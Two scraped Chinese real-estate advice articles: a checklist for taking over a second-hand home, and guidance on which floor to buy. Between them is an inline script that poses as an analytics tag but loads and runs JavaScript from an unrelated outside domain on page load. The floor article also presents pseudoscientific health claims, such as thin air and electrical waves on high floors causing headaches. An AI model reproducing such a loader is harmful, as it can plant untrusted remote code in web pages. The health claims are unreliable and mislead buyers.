简单了解二手房收房注意事项有哪些

目前，大中城市中心区几乎没有新的商品房，更多的是选择购买二手房，许多人只是拿走了钥匙就算收房了，即使有小心的，最多也只检查水、电煤气等。事实上我们应该详细了解二手房收房注意事项，两个方面来说：费用结算和质量检查。一、费用结算二手房收房注意事项琐碎的一项是查看是否有各种欠费，有线电视，电话，宽带是否欠费，补缴并更名。如果您需要继续使用原始电话号码，您还应该到电信部门处理转名。结算房屋维修资金。物业管理费、物业重新更名和水电费、取暖费、燃气的结算。注意物品清单：买卖双方要列出物品和数量，对于某些家用电器，建议列出型号，以备检查是否符合合同。检查各种发票是否齐全，有线电视、电话、网络发票收据，否则买家无法使用相关服务。二、质量检查二手房收房注意事项中还有各种检查。查看各设施是否存在质量问题，如果有问题，老业主必须配合新业主进行维修，否则新业可能利益受损。墙体和地板是否裂缝。注意厨房、浴室的下水情况，可以在现场打开水流，看水压，试试排水速度。如果漏水到楼下邻居的房子，一定太糟糕了。还要注意天花板窗台下面没有水渍。注意接收所有钥匙，包括建筑单元门钥匙、入口门钥匙、每个房间、信箱钥匙。户籍是否造出，否则新主人无法迁入。以上整理了一些二手房收房注意事项，如果在验收房屋期间发现问题，必须在验收记录中注明。每个人在收房前不妨多关注一下二手房收房注意事项，任何问题必须在收房前与前业主协商，尽快找出原因，确定哪一方负责维修，收房后再发现问题就比较难处理了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

买房必看：买房楼层注意事项有哪些

现在城市的人是越来越多了，这也就使得很多的人们都是需要购买楼房的。我们在买房的时候需要考虑的因素是比较的多的，楼层就是需要考虑的一个方面，在购买楼房的时候楼层应该注意些什么呢?我们一起来了解一下吧。购房楼层注意事项1.首先我们从空气质量来分析一下哪个楼层会更加的好。一般来说，如果是楼层的高度高于30米的话，它的空气质量反而会更差。高层的空气是比较的稀薄的。对于患有疾病的人来说，如果是住在高层的话，那么可能会产生不适的症状。如果是患有慢性支气管炎、心脏病、心绞痛这些疾病的话，那么我们就要更加的注意了。2.在高层的话可能还会引起头痛，主要的原因是因为电器设备产生的电波出现了循环。如果是从心理学的角度来讲的话，身处在高出还容易让人产生一种根基不稳定的感觉。也会时不时的让人感到内心比较的压抑。所以说在购买楼层的时候不应该购买过高的楼层。下面我们了解一下各个楼层的好处及坏处。3.一层：如果是居住在一层的话，那么有意外发生的时候，我们可以迅速的逃亡。但是一般来说的话，一层是比较的潮湿的，同时污染也会比较的严重。另外，如果是防盗系统做的不好的话还很容易就会造成盗窃事件。4.二层：和一楼相比更加的安全，逃生的话也是比较的方便。但是安全性能还是有待提高的。5.三层：如果是家里有老人的话，我们可以选择三层的楼房。因为三层的话也是比较的低，但是安全性能也不会出现问题，还有就是如果老人不想坐电梯的话，爬楼层的话也不算很高。6.四层到七层层数：总得来说四层到六层是比较理想的楼层，不仅楼层不是太高，我们可以享受到好的空气质量，安全性能也很好。7.八层以上的楼层空气质量就不太好了，如果是发生了意外的话也是不利于逃生的。但是楼层越高的话阳光会更好，视野也会更好。我们在购买楼房的时候注意的事项有很多，楼层只是其中之一，但是也是很重要的一个因素。一般来说我们最好选择十层以下的楼层，这样会更加的安全，空气质量也会更好。